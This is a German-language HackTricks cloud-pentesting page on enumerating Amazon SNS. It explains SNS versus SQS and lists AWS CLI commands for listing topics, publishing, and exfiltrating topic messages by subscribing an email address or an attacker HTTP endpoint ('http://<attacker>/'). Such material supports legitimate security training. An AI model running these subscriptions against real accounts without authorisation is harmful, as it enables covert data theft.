AWS - SNS Enum
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
SNS
Amazon Simple Notification Service (Amazon SNS) wird als vollständig verwalteter Messaging-Dienst beschrieben. Er unterstützt sowohl Anwendung-zu-Anwendung (A2A) als auch Anwendung-zu-Person (A2P) Kommunikationsarten.
Wichtige Funktionen für A2A-Kommunikation umfassen Publish/Subscribe (pub/sub) Mechanismen. Diese Mechanismen führen Themen ein, die entscheidend sind, um hochgradige, push-basierte, viele-zu-viele Messaging zu ermöglichen. Diese Funktion ist besonders vorteilhaft in Szenarien, die verteilte Systeme, Microservices und ereignisgesteuerte serverlose Architekturen umfassen. Durch die Nutzung dieser Themen können Publizierungssysteme Nachrichten effizient an eine breite Palette von Abonnentensystemen verteilen, was ein Fanout-Messaging-Muster erleichtert.
Unterschied zu SQS
SQS ist ein warteschlangenbasierter Dienst, der Punkt-zu-Punkt-Kommunikation ermöglicht und sicherstellt, dass Nachrichten von einem einzelnen Verbraucher verarbeitet werden. Er bietet mindestens einmalige Zustellung, unterstützt Standard- und FIFO-Warteschlangen und ermöglicht die Nachrichtenaufbewahrung für Wiederholungen und verzögerte Verarbeitung.
Im Gegensatz dazu ist SNS ein Publish/Subscribe-basierter Dienst, der eins-zu-viele Kommunikation ermöglicht, indem Nachrichten gleichzeitig an mehrere Abonnenten gesendet werden. Er unterstützt verschiedene Abonnementendpunkte wie E-Mail, SMS, Lambda-Funktionen und HTTP/HTTPS und bietet Filtermechanismen für gezielte Nachrichtenübermittlung.
Während beide Dienste die Entkopplung zwischen Komponenten in verteilten Systemen ermöglichen, konzentriert sich SQS auf warteschlangenbasierte Kommunikation, während SNS ereignisgesteuerte, Fan-out-Kommunikationsmuster betont.
Enumeration
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
caution
Beachten Sie, dass wenn das Thema vom Typ FIFO ist, nur Abonnenten, die das Protokoll SQS verwenden, genutzt werden können (HTTP oder HTTPS können nicht verwendet werden).
Stellen Sie außerdem sicher, dass Sie die richtige Region in --region
angeben, auch wenn die --topic-arn
die Region enthält, da Sie sonst einen Fehler erhalten, der darauf hinweist, dass Sie keinen Zugriff haben, aber das Problem die Region ist.
Unauthenticated Access
AWS - SNS Unauthenticated Enum
Privilege Escalation
Post Exploitation
Persistence
References
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.